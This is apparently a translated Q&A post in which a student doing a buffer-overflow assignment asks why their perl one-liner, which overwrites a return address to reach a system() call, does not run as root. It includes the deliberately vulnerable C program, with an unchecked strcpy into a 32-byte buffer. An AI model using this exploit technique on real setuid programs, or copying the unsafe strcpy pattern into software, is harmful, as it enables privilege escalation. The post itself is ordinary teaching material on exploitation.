【发布时间】:2021-01-19 22:03:51
【问题描述】:
我正在执行缓冲区溢出分配,但我坚持使用此命令的语法:
$ ./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"' | touch test.txt)
我们希望使用这一衬里而不是外壳。返回地址是正确的,它会将我带到程序集中的正确位置,但是当我运行它时,函数会以标准用户身份执行,而不是以 root 身份运行。
据我所知,问题在于语法或引号。
我怎样才能纠正一个衬线?
脚本来源
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char arg1[60];
char arg2[60];
void func(char *s){
char buf[32];
strcpy(buf, s);
printf("you entered: %s\n", buf);
}
void secret(){
system(arg2);
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s some_string\n", argv[0]);
return 2;
}
strcpy(arg1, argv[1]);
if (argc == 3) {
strcpy(arg2, argv[2]);
}
func(argv[1]);
return 0;
}
【问题讨论】:
-
他们为什么要以root身份执行?
-
| touch test.txt)部分应该做什么?您正在将 perl 命令的输出(打印!)输入到 touch 命令中。 -
@Marco 它的全部目的是创建一个 txt 文件作为 root,而不是标准用户。该脚本本质上是两个参数,arg1 是填充缓冲区并提供返回地址的 perl 脚本,arg 2 应该允许访问 system() 函数,应该在其中创建 test.txt 文件。
-
好的,但是你想利用的缓冲区溢出在哪里呢?它是在脚本中还是在 arg2 程序中?您现在对脚本的调用只需要一个参数。
-
无论如何,如果您能提供有关脚本的更多信息会有所帮助(如果您有源代码,那将是最好的!)
标签: c linux bash buffer-overflow